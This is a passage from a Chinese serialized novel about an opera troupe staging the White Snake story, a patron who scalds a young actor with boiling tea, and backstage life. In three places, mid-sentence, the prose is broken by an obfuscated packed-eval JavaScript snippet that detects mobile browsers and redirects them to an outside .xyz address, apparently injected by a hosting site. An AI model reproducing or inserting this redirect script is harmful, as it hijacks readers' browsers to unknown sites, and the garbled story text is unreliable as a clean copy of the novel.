慌忙之下虾蟆精想往凳子上坐,屁股却在边缘一滑,双腿直伸坐到地上。 青哥上前一步,又是一声暴喝:“做啥!” 虾蟆精又站起来。 白素贞自始至终都坐在椅子上喝茶,姿态优雅,唤回青哥,只像女主人叫回她往前乱扑的恶犬。青哥绕到她椅子背后,微微屈身,将下巴搁在她肩头,眼珠上抬,死死盯着虾蟆精。 “请问大仙,来我家中作甚?” “只因许官人说,娘娘你身怀六甲少精神......” 青哥突然很大声地“嗯?”了一声,白素贞仍看着虾蟆精,只向身后摆了摆手掌。青哥立刻抱拳低下头。 虾蟆精指了指青哥,一手挡在嘴边对观众说:“要咬人!” 白素贞:“你可赠他什么?” 虾蟆精:“我赠他一道——” 青哥:“啥!” 虾蟆精:“——安胎符。” 白素贞:“安胎符?为什么上面有斗口二字?” 青哥:“你讲!你说!” 虾蟆精做出很费解的样子,搔着头嘟哝,“这是咋个搞起的?” 青哥:“你说是咋个的?究竟是咋个的?” “——这样的,安胎符灵官符放在一起,只因许官人要得慌,贫道就拿得忙,想必是拿错了。我格外给娘娘拿一张!” 15. 白娘子 白素贞再不愿听他解释,一拍扶手,喝道:“吊起!” 霍眉立刻把绳子、鞭子从后台扔出来了。戏台上方有四方铁栏杆,就是预备给此时用的,只见那虾蟆精踩着凳子把绳子抛到栏杆上打了个结,用双手攀住绳子后踢了凳子,悬挂在相当高的地方。 青哥接过皮鞭后便往他身上一抽,抽得人往左边转了许多圈;反方向一鞭子,又陀螺似地往右滴溜溜转。一边攀着绳子缩腿转圈,一边还要“唉哟唉哟”地叫,引来了下面的一众叫好。 白素贞站起身来,青哥忙迎上去,两人拉着鞭子两头走圆场,和声唱词。末了青哥扶住白素贞刚刚坐着的椅子的椅背,将一头翘起来;白素贞身子轻盈地跳到了翘起来的那一道棱上,单脚站立,又抽了虾蟆精一鞭子。 虾蟆精用腿倒吊在绳结上,双手完全放开,往下垂着。 青哥笑得很开心,似乎觉得和她一起捉弄这没能耐的虾蟆精很有趣,帮她按椅子、抬椅子的时候直直望着她。 白素贞又给了虾蟆精一鞭子,虾蟆精灵活一翻,只将腰卡在绳上,双手双脚都在空中划动做游泳状。霍眉都能听到上一出戏的一个小花旦在自己身边轻轻地喝了一声彩。 这时许仙突然从另一侧上了台。虾蟆精在空中解开绳结、翻滚落地就跑;白素贞推了青哥一把,青哥跑了两步,突然又顿脚回头看了一眼,这才完全钻入幕后。穆尚文冲出来,一个滑跪跪到白素贞皮鞭下。 许仙完全没搞清楚状况,还以为是在责罚小青,“小青何事挨皮鞭?” “小青不听管教,出外玩耍。” “念在卑人讲情,你就饶了她吧。” 白素贞遂转向小青,“还不快谢过你家姑爹!” 穆尚文相当认真地两边拱手,“谢过姑爹,谢过娘娘。” 而霍眉不得不在心里觉得遗憾,小青明明是一个人,两人演来却很有割裂感。穆尚文一上来,青白之间隐秘而缱绻的氛围就荡然无存了。白蛇传又变成她最熟悉的那一版白蛇传,不是席芳心和刘洪生、王苏和席玉麟的白蛇传了。 戏剧进行到了第五折,端阳惊变。虾蟆精一瘸一拐地上场,先是唱自己有多么多么倒霉,又憋了坏心思,叫许仙用雄黄酒去试探白素贞。 小青听了墙角,回去告诉白素贞。一时谁都不说话,急促的胡琴声响起,两人绕着戏台飞奔耍水袖,团成白花,又互相抛掷缠在一起,捶胸顿足着小碎步退后拉开。 霍眉只见得满目都是乱飞的白袖,福至心灵,突然看懂了这艺术手法表达的意思:心乱如麻。 许仙端着酒上台了。 “小青,你法力浅薄,快去躲避!” 小青去拉她袖子,却被大力推开。 许仙劝白素贞喝酒,白素贞再三推阻,叫他起了疑心。最后无奈喝下,将酒杯一放,身上的骨头似乎在瞬间垮了,闭眼软在了椅子上。 许仙欣喜道:“只是睡着了!”将一件衣服披在她身上,乐颠颠地下了台。 台上的灯突然都熄了,只剩当中一束白光照在地上,似冷月溶溶。王苏站起身来脱掉外套,贴身的里衣上缝满鳞片,仰头迎着惨淡的白。胡琴声隐去,紧接着的是一段急促的大锣,白蛇踉踉跄跄地开始独舞,来体现白蛇喝雄黄酒后的“心如火烧”。 她本就身形修长,在地上翻腾时真如长蛇。那舞蹈看似混乱,实则都在精密的编排中;痛苦延伸到白素贞每一根绷紧的指尖同时,力量也延伸到王苏的指尖。 许仙原本沉浸在妻子只是凡人的宽慰中,再来看她,却见着了白蛇真身。惊骇之下,“嗨呀”一声,向后纵身一跃便是一个僵尸躺。 小青跑上来,叫道:“嗨呀!禀娘娘,姑爹身死。” 白素贞闻言几乎是拧身飞了过来——飞了过来,双膝落地,跪在许仙身边,缓缓地、缓缓地伏在了他身上。 “娘娘,这等无情无义之人,你哭他作甚?” “小青,此乃□□之过,非乃你家姑爹之错。”白素贞说着,忽然将头一抬,高声道,“娘娘有心去至三仙岛,盗取灵芝宝草,搭救你家姑爹的性命啊!” “娘娘千万不可!” 刚才还在悲痛的白素贞突然站起来,主意又回到了她身上。在爱情中明明是温柔似水的女人,一旦许仙不在,她却总像个女战神。 “小青,姑爹托付给你了,千万照看好他。”她飞快地抱拳道,“请受我一拜!” 小青忙对着抱拳拜下去,拜得比她更低,“折煞奴婢了。” 接下来的两折戏都是重头,因此有个中场休息。此时已经过去了快两个小时,王苏满身满脸都是汗,只是稍微抿了两口水。霍眉把她脸上的汗用手帕一块一块沾干,补上颜料,天花乱坠一顿夸。 王苏笑眯眯道:“都有功劳,都好。” 又帮她把湿透的鳞片衣换掉,外面套上镶了细窄蓝边的白褶子,领口、腰带有许多像莲瓣般展开的装饰,肩上还有流速垂下;原来的头面也卸下来,戴上一个装有珠翠、绒球的大头冠,头冠上还有两根长长的翎子,霍眉光是搬起来都用了两只手。 台柱子,这就是台柱子。一场戏无她只有两分,有她才有十分。 第六折戏名叫仙山盗草。 原来跟在刘洪生后面的那一褐一白两个童子原是鹿鹤双童,齐唱戏词,绕着戏台巡山。白素贞也威风凛凛上了台,一个翻腕亮相,持浮尘,背双剑,唱道:“为救许郎闯仙山,哪顾得重重风险......” 鹿童率先拿着红缨枪出现了,“何方妖孽闯仙山?” “借草救夫望垂怜。” “灵芝本是镇山宝,岂容偷盗下凡间!” 鹿童用红缨枪连连前刺,白素贞几个串翻身躲开。一番搏斗后,鹿童将红缨枪打在她腰间,两人分别持枪的两头追逐、闪避,那杆硬枪竟在人影中有了翻花绳的效果。最后鹿童作为圆心,枪杆作为半径,白蛇抓着枪的另一头绕着他翻身跳了一整周,借势抽出枪来。 鹿童输了,下了台;白素贞在道具山壁上取下灵芝来,欣喜道:“官人,你有救了!” 鹤童突然从山壁后跳出来,手执两把短刀刺她。 白素贞灵巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003780|161887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躲过,扔了浮尘,将灵芝叼在嘴里,拔出双剑点地拧腰一个亮相。 接着便是短兵相接。用的都是没开刃的剑器,但到底是真剑,乒乒乓乓一串金戈之声。 那两个演员虽然年纪小,功夫却十分到家,白素贞半蹲砍来时鹤童真能大跳起来、在空中劈开横叉,躲避时能连踢三个旋子。 鹿童也再次上来,两人绕着白素贞打,而白素贞的双剑接住了每一下攻击。大锣越敲越快,金属相撞声也卡在点上、越来越快,最终两人滚到一边,居然难敌她一个。 “摆下雄黄阵!” 一群人扛着黄旗涌出,白素贞被困在这一片黄中,动作迟钝、脚步摇曳,苦苦支撑了片刻后顿坐在地,捂心泣道:“官人,你妻实难救你了。” 忽而南极仙翁出现,命令道:“撇了雄黄阵。” 扛黄旗的演员迅速撤离,白素贞赶忙向他行礼,“仙翁!” “我看你救夫心切,便将灵芝送给你了。且自下山去吧。” 胡琴响起。白素贞感激涕零到不知怎样才好,露出泫然欲泣的表情,跪倒在他面前。上身本是完全平躺贴地的,忽然顶腰起,薄而柔韧的胸腰形成一个绝美的曲线,头仍掉垂着,双手高捧灵芝。 地下一片叫好的同时,一个观众爬上了台。霍眉当是捣乱的,立刻冲出后台来到观众席打算把他拽下来,却见他塞了一卷纸币在王苏的头冠上夹着。演员们也纷纷暂停表演,王苏双手合十连连致谢。 原来是在打赏“头彩”。这是观众表达对该演员认可的方式,戏班主不能分走这个钱。 下都下来了,霍眉溜达一圈,见一个茶倌正在给观众倒热茶,杯中原来的冷茶就往地上一泼,还带着软烂的茶叶,填在地砖缝隙中相当不好扫。 遂找了个盆子来,抢在茶馆前面把冷掉的茶水倒进盆中,顺手把空座上的茶杯也收走了。 她回到观众席时,第七折戏已经开始了。法海已经抓走了许仙,白素贞和青哥共赴金山。 这一段唱的是昆腔,青哥扎下马步,白素贞踩在他大腿上,另一只脚勾起,做瞭望状。 “山路崎岖,奴婢搭搭扶手。”青哥说着,又托住白素贞的腹部,叫她在自己掌上转了一圈;白素贞手脚上抬,如元宝,又如花苞。而戏台中央搭起了一个五米多高的台子,睥睨众人,作为金山寺。寺中,法海对虾蟆精说:“传话出去,叫她主仆三步低头、五步一拜,拜进寺来,饶她主仆不死。” 虾蟆精出来话没说完,青哥已然大怒,白素贞却拉住他:“小青,人在矮檐下,切要把头低。” “你太懦弱了。” 白素贞只道:“随我进去。”施施然走道高台跟前,唱的又是昆腔《喜迁莺》。唱到“奴这里善言求相告,望禅师休再执拗”的时候行万福礼,才蹲下一半,就被青哥拽起来。 “白季子,好好听吾相劝,回转白莲池中修炼。功成圆满,不少做一洞金仙。” “住口!”青哥直指着法海,“好好退还姑爹这就不说。若其不然,主仆头尾一摆,将你金山寺变为汪洋大海!” 16. 水漫金山 “好言相劝,恶言回答。哼哈二将!” 两人光肚皮赤脚,持金刚杵、戴夜叉面具,摇摆着上来了。这边的主仆二人均是手持双剑,动作同步,白素贞宛若女战神,青哥像她的影子。 哼哈二将败下阵来。法海又唤:“监斋哪吒!” 哪吒穿红肚兜,手持乾坤圈与红缨枪;监斋身披蓝袍,持月牙铲。威风凛凛出场,却仍敌他们不过。 法海:“灵杵韦陀!” 原来那个穿金铠的马师兄演的是韦陀,腾云驾雾、目含精光。霍眉从前虽没看过白蛇传,但听说过“韦陀踢慧眼”这个桥段,听到喊韦陀便站住看了。只听那韦陀喊声“待吾睁开慧眼一观”,一踢额头,本什么都没有的额头上突然睁开一道慧眼。 还以为他很厉害,一阵对打后,白素贞甚至将他的灵杵缴了械。 众天官一齐冲出,将两人团团围住,接着就是一段极其精彩的打戏——打着打着,双蛇扔了武器、褪下长袍,现出蛇妖真身,彼此纠缠、水乳交融。青哥抱住白素贞踢上来的一条腿,白素贞双腿飞快做了一个旋子,蹬到空中,肩顶着他的肩;又是一个旋子,翻身下来。青哥揽住她的腰又开始转圈,忽地将她向上一抛;白素贞一个大跳,最后稳稳落在他肩头。 天兵溃不成军,向四面八方仰面躺倒。 青哥抓住她的一只脚,手臂慢慢伸直,将她举到最高、与金山寺大殿上的法海对望。 “法海!”她喊道,“还我夫来!” 法海掷下青龙禅杖。二蛇分开,禅杖压在两人身上,青哥倒地翻滚一阵受了伤,白素贞忙接过禅杖,同样被压制。忽而计上心头,咬破手指,用血破了它的法,一顿耍花枪后扔了它,冲到高台下,“官人呐!” 许仙原站在法海身后,见证了这一番极其惨烈的打斗后再也忍不住,凄声应道:“娘子啊!” 法海阻拦:“她是妖啊!” “是妖我也要去啊!” 许仙的演员目眦欲裂,欲纵身越下,却被哪吒抓回。 上山是神色还不以为然的青哥到此时已经气急,号令道:“众水族,水漫金山!”一时虾兵蟹将、鱼精蚌精全部冲上台,和天兵扭打在一起,一片混乱中白素贞拽住他问:“你姑爹怎么办呢?” “我去将他抢来!” 两个鱼精站到高台地下,青哥跳到他们背上,再原地起跳、翻了个跟头攀上高台。 法海急令:“拿我袈裟去。” □□精接过袈裟,如同舞一块手绢般在五指外舞动,青哥便在袈裟正前方原地翻了数十个跟头,以示被袈裟控制,手脚几乎都按在高台边缘。末了忽然从脚下扫倒□□,直奔许仙,抓住他便往下跳。 观众席哗然几声,那金山寺实在太高了。 青哥脚尖落地,往前翻了几圈卸力。哪吒从旁侧下来,再次抓走许仙。 法海:“紫金铙钹。” 青哥顿时无意再抢许仙,往白素贞的方向跑去,“娘娘快走!” 那紫金铙钹原是个用锅盖做的道具,扔到戏台上时一个演员便从后台钻出来接住,戴金盔、蒙红面,是拟人化的紫金铙钹。他便抓白素贞,白素贞鬼魅般跳上青哥的腰,青哥带她飞旋半圈,从另一个方向放下。 更有绝技在后面,紫金铙钹“哇呀”一声便变一张脸,“哇呀”一声再变一张脸,红绿黄黑白,每张脸出现时大锣的节奏都不同。青白敌它不过,边战边退时,法海又叫道:“风火二神!” 二神上场,风声喷出均匀的淡绿色的粉末,火神张口直接喷出了火,在纯黑的夜色里刺得所有人的眼睛都是一痛。趁这时候,紫金铙钹展开披风便是往前一扑,青哥在披风的隐蔽下就地一滚回了后台。 紫金铙钹将他收了。 白素贞痛叫一声,拔出剑来,震开风火二神;同时许仙也挣开了哪吒。夫妻相望,同时向对方奔去,然而众天兵忽然从中间冲来将两人分开。水族挡在白素贞面前,天兵也拦在许仙面前。 两人被高高托举起,隔着天堑般遥遥的距离,只能伸出手臂。 霍眉简直呆住了,身边的茶倌也呆住了,直到所有演员来到台前鞠躬时两人才面面相觑。茶倌问:“你们家班子啊?” 他们正站在刚才打赏王苏的那人旁边。离得近了,便能看清此人额上皱纹细密、眉心更是拧成疙瘩,皮肉松弛,两颊也下垂;他穿的不是军装,而是一套普通的靛蓝长衫,双手搭在圆头手杖上。 见戏演完了,他又上去打赏了几人,有紫金铙钹、虾蟆精、韦陀甚至还有一个蚌精。 霍眉心下已经觉得神奇,这六个蚌精不说化完妆后几乎长得一样,动作也全是一样的,他居然能从中挑出一个打赏,足见眼里功夫。正想着,突然听他语气平淡地说:“那个男小青,你过来。” 席玉麟有些摸不着头脑,还是跳下戏台到他面前;脸上的油彩已经被汗冲走了许多,走近后喘息声变得相当明显。 “最后一折戏中,你与两个黑鱼精斗,你是怎地站起身的?” 他只好重新单膝跪下、双手握拳平举;转身的同时站起来,左腿一踢踢开前摆。 长衫人猛地站起来,厉声喝道:“你再来?” 席玉麟肩膀一缩,赶紧再次单膝跪下,明显是紧张了,站起身前还迟疑了片刻。待他站起来,长衫人抓起茶倌五秒前才添上沸水的杯子泼去,一滴没浪费,全泼到了他脸上。 那杯子都空了,尚且在夜色中冒白气。 席玉麟顿时极其痛苦地惨叫了一声,往后连退数步,弯腰想捂脸;长衫人把瓷杯往地上一砸,“过来!你再来!” 穆尚文大喊半句“你凭什么——”,就被身后的王苏一把捂住嘴巴抱回去;其他演员皆是噤若寒蝉,全围了过来,却不敢替他说话。更轮不到霍眉替他说话了。 他缓了好几秒才直起身,走到长衫人面前重新跪下,疼得浑身都在抖。 霍眉就在这时理所当然地一扬手中盆,将半盆冷茶泼到了他脸上,大骂:“这位大人叫你再来一遍,没听见?” 火烧般的疼痛被冷水一镇,他才得以勉强睁开眼。等了几秒,霍眉又把剩下半盆也泼出去了,“你龟儿不知道就别在这里丢人现眼!大人独具慧眼、赏罚分明,你挨了罚,不知道去问那些得了赏的人?” 马师兄立刻喊:“拳形!” 王苏也壮着胆子跑过来,直接蹲到长衫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003781|161887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人身边,“先生,我代我师弟向你道歉......” 霍眉在长衫人投来一瞥前不急不缓地走远了点,作为外行,听马师兄那么说后才注意到席玉麟是大拇指捏着食指、剩余三指勾起那样握拳的。 席玉麟原来把注意力全放到“起身”上了,这才注意到细节,赶忙把拳头捏实,将一连串动作又重复了一遍。 “犯错是寻常的,那些鱼精虾精还绊了几跤,我不说他们。你有次托举白娘子的时候,第一下没托起来,这也不提。但作为主角之一,怎么能犯这么基础的错误,握成女空拳?整场戏下来你的拳头总共错了四次。”长衫人重新坐下,瞪圆的眼睛恢复到原来大小,“自己想起来剩余三处在哪里,然后改给我看。” 整场戏唱了六个多小时,犯错也都是无意识的,他上哪儿去想起来还有哪里错了? 突然传来一声轻咳。席芳心不知何时站到众人中间的,先向长衫人抱拳鞠躬,随后便对席玉麟耳语道:“第一处是在收青下凡那场,‘娘娘情真意坚’时......” 霍眉溜进嘉陵饭店的厨房要了两勺白盐,刚窝进手心,席玉麟就冲进来拧开池子上的水龙头把脸伸过去冲。 有席芳心的帮助,三处错竟一下子就挑完了;而王苏他们没跟来,想必是还在哄长衫人消气。 洗抹布的两个厨子暂时腾到一边,看见席玉麟脸上糊成一团的颜料,哧哧笑起来。几分钟后便笑不出来了,其中一人强行关了水龙头,“水费不该你出是不是?” 席玉麟只好退开。 他的脸已经完全肿了,还鼓起了五六个硬币大小的水泡,将尚未洗清的颜料撑成薄层。霍眉把他的下巴掰起与地平行,把白糖均匀撒上,闲适到像在做菜。 末了,幸灾乐祸道:“你浑身上下也就这张脸不讨厌,若是毁了,看你拿什么吃饭。” 他低声道:“谢谢。” 好在席秉诚这时终于得了空儿,疾步进来带他从后门走了,不然霍眉还真不知道怎么接话。她又闲适地把手指上黏着的白糖舔掉,猫在厨房一直等,等到天亮才和漱金的人打道回府。 路上席芳心向他们介绍了长衫人。此人名叫钟擎,字希庐,孙珍贻的至交好友之一。母亲是满清贵胄,父亲是山东的官宦世家,自己也考中了进士,家中文化氛围浓厚;他却偏偏不学好,在听戏这方面简直是个痴人。 “我与洪生二十多岁还没什么名气,穷途末路时,他接济了我们一阵。”席芳心淡淡道,“虽说算不得朋友,也算个熟人,几分薄面是要给的。你们不要以为自己唱得真有如何好。” 两个女弟子连忙喏喏称是。 霍眉只能感慨席家班的徒弟全员都很老实,严师就是克老实人的。快看看你们师父因为拼命把脸板住所以都抖动起来的嘴角肌肉啊,你们真看不出来他快得意死了? 回去后,席芳心将刚上完药的席玉麟叫过去,又将这番话讲了一遍。席玉麟是老实人中的老实人,无需席芳心格外提及,主动将这话反过来理解了:钟擎已经给了我几分薄面,还要责难你,你知不知道自己唱得有多不好? 席芳心那边话音尚未落地,他的膝盖已经落了地,主动要领罚。 17. 浴缸 席芳心顺手取下了墙上挂着的藤条,藤条刚捡来时还有许多叶子,这些天打穆尚文打得多了,叶子也掉光了。 他向来是个严苛的师父,较之随和愉悦的刘洪生,徒弟们都与他不亲;即使是承蒙他抱养之恩的席秉诚、席玉麟也是一样。 幼时恐怖的记忆大都和席芳心相关:躺在高高的条凳上,席芳心坐住他的一条腿、抓着另一条腿的脚脖子,一直按到地面上去;扎马步扎腿抖,席芳心在一旁拿着鞭子不许起身;顶碗时把碗摔碎了,当众脱光裤子打屁股,周围一圈小姑娘围着看......那时都不清楚师父具体长成什么样子,挨近师父的时候,眼中总有泪水。 席芳心抽背书比现在席玉麟不知道严格多少,用的不是戒尺,是竹鞭;打的不是手心,是手指。某次打到他五个手指都肿起来,席芳心忽然把他抱到腿上,说:“所有徒弟中,我对你期望最高。” 太近了,近到席玉麟透过眼泪都看清了席芳心脸上的细节,眼皮上有一颗痣,眼瞳是古井无波的黑。幼失恃怙,哪里被大人抱过,当下很僵硬地别过脖子。 席芳心遂把他放下来,想了想说:“去涂点药。” 再大了便可以学戏,他的许多角色都是和刘洪生学的。刘洪生从不拿戒尺竹鞭藤条一类的东西,只拿个大鼓,排戏的时候很方便;有时就把他抱到鼓上,让他踩着玩。 “我听玉麟的指挥!” 席玉麟咚咚咚乱蹦,哪称得上什么节奏;刘洪生反应却很快,真能把每一个字都卡到他毫无规律的鼓点上,唱《思凡》:“一个抱膝舒怀,口儿里念着我;一个手托香腮,心儿里想着我;一个眼倦开,朦胧的觑看我——惟有布袋罗汉笑呵呵,他笑我时儿错、光阴过!” 路过的席芳心听了,端着搪瓷杯,越过窗子看是怎么一回事。 席玉麟赶紧跳下鼓躲到师叔身后。 不知是年纪大了打不动了,还是年纪大了心肠软了,席芳心现在已不再这般教学生,只在下午时分出现、指导剧目,连基本功都不亲自盯了。那些学生心里的席芳心是什么样的?沉默的胖老头,视察时会端着那个掉漆的搪瓷杯,给出几句毫不留情的评价。还不如大师兄和席师兄可怕。 放下藤条,席芳心又道:“长记性!拳头的问题和你讲过几次。除此之外,膝盖不要一走一打弯,笑的时候嘴张大,不要咬筷子笑……看看,说了你又知道,习惯却还没改过来。” “是。我再去琢磨。” 席玉麟刚才小心翼翼把脸上的颜料揭掉,顺带挑破了水泡,把泡皮盖回去防止感染。红白相间的肤色、黄褐的碘酒地图版块似的分布在脸上,简直没法看,席芳心的语气又稍微软下来:“这个月不用上台了,工资就拿十块,替我去盯着那些学生练功吧。” “是。” 他低着头等了会儿,意识到席芳心的话说完了;抬头看,席芳心已经披上大衣,似乎是要出门,头上还戴了根不知从哪儿来的点翠簪子——那应该不是要出门,他只在没事的时候自己戴着玩儿,很少让别人看见。 席芳心年轻的时候就喜欢各种女性化的物件,耳环啊项链啊什么的,那时候留长发戴着,还颇有几分雌雄莫辨的美。现在么,席玉麟也觉对方没法看,转身便溜。 师父片刻不在,练功房的倒立的小孩儿也下来了、踢腿的小孩儿也不踢了,叽叽喳喳聊闲天,见他进来瞬间噤声。席玉麟搬个板凳在中间坐下,用腿把一旁的纸箱勾来,找出个宽檐帽挡住脸。 巡视一圈,锁定住一个十岁出头的小姑娘。 “黄小希,来。” 刚走到他面前黄小希的表情就开始痛苦了;等到躺在地上、双腿向旁侧打开时,已经痛苦到脖子都红了;再等席玉麟试探性地落脚到她胯根上,没来得及用力,已经嗷的一嗓子哭出来。 “你……”他缩回腿,“你先自己颤颤。” 黄小希闭上眼,没有颤胯,但重力也一点点将她的双腿往下压。 房门无声地打开了,霍眉哼着歌走进来,将两张纸一支笔塞到他手里,照例是一句:“哟,好阴暗啊,自己挨了训就来训小师妹。” “霍眉,求人办事前说点好听的。” 这人没有立刻气急败坏,还能跟她有来有回说上几句话,进步挺大的。她便笑眯眯拖了个板凳在他身边坐下,“我其实感觉你唱挺好的。” 席玉麟苦笑一声,拔开笔帽套在后面,“算了,你还是别说了。要写什么?” “你把我的话转换成书面语,大致意思是:你的信我收到了,我会在城里买到治口疮的药膏寄回去。晚稻应该熟了,天冷水凉,你和妈不要长时间泡在田里,雇个短工帮忙收,我出钱。叫弟弟不要总惦记着读书,这几个月好好休息,也不要下地劳动;如有空闲,可不可以来封信呢?” 这番话真不像是从她那尖牙利口中说出来的。 席玉麟瞥她一眼。她嘴上说着话,眼睛四处乱转,忽然一指黄小希,“你看她躺着都要睡着了,快踩她。” 黄小希的胯部确实逐渐打开了,没刚才那么疼,但也不至于从容到能睡着,闻言顿时瞪向她。然而重量已然落到腿根上,席玉麟盯着她的表情估摸承受程度,一点点向下踩去。 她嗷地哭了起来。 “叫你踩你真踩啊。”霍眉咯咯笑道,“回头小师妹再也不理你了。” “她不算师妹。”他淡淡开口道,“她只是个学徒、临时演员,到十七岁那年师父才会决定收不收她做徒弟。师父现在收徒的意愿不强了,剩下的会被赶出漱金,自谋生路。” 又转头看向黄小希,“你是女孩,开软度本该是强项,为什么一块砖不垫都下不去?该学手艺的年纪没学成,十七岁出去怎么生活,打工吗?还是找个男人嫁了?” 黄小希已经在心中骂了他八百遍,听了这番话受到刺激,忽然叫起来:“打工不比当戏子有尊严?打工会被人泼开水吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003782|161887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “我一个月二十五块。” 一时间鸦雀无声。 霍眉很久之后都能记得他说这句话的神情。从前总觉得他像个寻死觅活的小媳妇,假清高,外面闹饥荒闹到易子相食,婆家给他一口饭吃他还要梗着脖子来一句:嗟来之食,乞人不屑也。其实不是的,那张严重烫伤的脸上表情很明确:这二十五块我挣定了。 其实和她差不多嘛——在汗流浃背生存的同时,抓住机会就洗澡。 她暗自决定往后嘴上就饶过他。随后扯着嗓子喊:“你一个月二十五块你那么抠?不是,二十五块?你他妈的跟我抢那一块钱……” “跟工资有什么关系?那一块钱本来就该还我。你信写完了没有?” “没没没,”她盘起腿,手在脚踝上撑着,笑盈盈地继续念,“我不在洗衣店工作了,新地址是漱金戏楼——不是当戏子去了啊,没有乱搞,是当后台工作人员。十一月中旬我会寄钱回家的。完了。” “……”席玉麟哼了一声,“你不跟家里说说自己过得如何?” “我这点事儿有啥好说的。” 看他组织语言表述她的内容,霍眉又凑近,炫耀道:“我弟才有的说,他是上海的大学生。” 席玉麟抬起脚。被压到发麻的双腿猛然弹起,黄小希又是一声尖叫,爬到一边去了。接下来喊了一个叫王好运的人。 王好运便是那天的黑鱼精,很自觉,拿了两块砖垫屁股底下。席玉麟才不给他时间自己颤,一脚踩到底,这才又拿起信纸搁在膝盖上写字,跟她闲聊:“在上海读书要花多少钱啊?花你在外面做……的钱?” 王好运毕竟是个男孩,这么仰面躺下双腿大张,中间鼓起很明显的一个包;霍眉意识到他很尴尬,便转了个面反坐着。 “他又不知道我干啥的。你知不知道有个词叫投资?现在他花钱多,等他有出息了,赚钱赚的更多。” 霍眉想着便觉得幸福,霍振良能从小学读到大学,里面有她的很大一部分。她忽然没由头地向席玉麟描述起浴缸:瓷浴缸,见没见过?可以伸直腿躺在里面,上方的花洒出热水,底下有个橡胶塞,一拔水就流走了。范章骅家里就有一个,他这个败家玩意儿为了保持水一直是热的,就把橡胶塞和花洒同时开着;他泡多久,热水就源源不断地流多久。 “我弟以后就能买得起带这种浴缸的房子。万一我嫁不出去,他未来老婆也不介意的话,我就住到他们家去,帮忙洗衣做饭带孩子什么的。天天都有这样的浴缸泡澡!” 席玉麟很久没说话。王好运说话了:“席师兄,受不了真的受不了……” “十,九,八……” 他数到“一”时把已经分张到极致的双腿还往下一踩,那两块孔眼红砖应声断裂,裂了一地的粉末。无需命令,王好运爬起来就蹒跚着找扫把去了。 然后席玉麟站起来,用轻蔑的语气说:“我还以为你很聪明呢。” 18. 主管 霍眉后来就帮张大娘蒸馒头去了,心神不宁地揣摩着:他什么意思? 她自然听得出他的讥讽,这讥讽还是针对她家人的,让她恼火异常,换个情境就该开骂了。而之所以没有开骂,是因为席玉麟说她很聪明。没人说过她聪明,坏一点的评价是骚,好一点的评价是漂亮、能干、善解人意,这也都在她对自己的认知内。但没人说过她聪明。人们只说霍振良聪明。 感觉真怪,这明明是个很了不得的词啊,人家读书的人才聪明嘛。哪能用来形容她呢。 下午开锣,她把水烧开,正泡着茶,张大娘从外面跑进来道:“又有人找你。哎哟,怎么总有人找你?” “我马上去。你把这些泡了,记着绿茶比乌龙、普洱需要的茶叶少,铁观音是乌龙茶不是绿茶。” 自从她发现张大娘实在太舍得给茶叶后,自己替了上来,茶水开支少了三分之一。 霍眉在锅炉边的抹布上蹭了蹭手,跑到大门口,看到蔡行健的时候差点没笑出声。不知道他是怎么想的,也弄了个范章骅那样的油头造型,问题是人家范章骅头发多,他这发际线都快退到头顶上去了,露出个光光的前额。大清亡了,没人通知他吗? “蔡医生!你今天好潇洒呀。” “哈哈,霍小姐见笑了。你在这儿工作?” “是呀。”霍眉想起范章骅那个疯子,把一句“你怎么知道我在这儿工作,是来听戏的还是找我的呀”给憋回去了,“你是来听戏的?快请进。” 蔡行健愣了愣,随后“噢”了一声,笑着随她往戏楼走,“我没做好功课,听戏需要买票吗?” “不用,直接进,我们这里坐下必须要买吃食茶水,听戏不用另外花钱的。” “瞧我这没见过世面的样子,又让霍小姐笑了一回。因为我从来不听传统戏剧,都是看文明戏。霍小姐知道文明戏吗,原是留学生仿照欧美、日本话剧创造的新剧,在表演上有很严肃的艺术追求,以民主革命为内容的政治戏居多;而这传统戏剧,一般就讲的是情情爱爱啊、兄弟义气啊。” 他说半句,霍眉就略带惊讶地轻轻“啊”一声,跟在后面接话,“蔡医生的情操真是超凡脱俗。不像我,我就听不懂什么民主,只知道情情爱爱。” 蔡行健笑得眼尾都开了花,偏头打量她的表情;此时霍眉已经把他引到二楼,正在拿钥匙专心致志开包厢的门,没有特地看他一眼。 他落座点了杯太平猴魁,掏出钱,霍眉又把他的手推回去。 肌肤相贴,她的手温热、细腻、有肉感,蔡行健对自己的揣测有了信心,正考虑要不要趁机握住时,霍眉又若无其事地将手缩回去,解释说:“你是千里的朋友,如何都不能收你的钱的。” 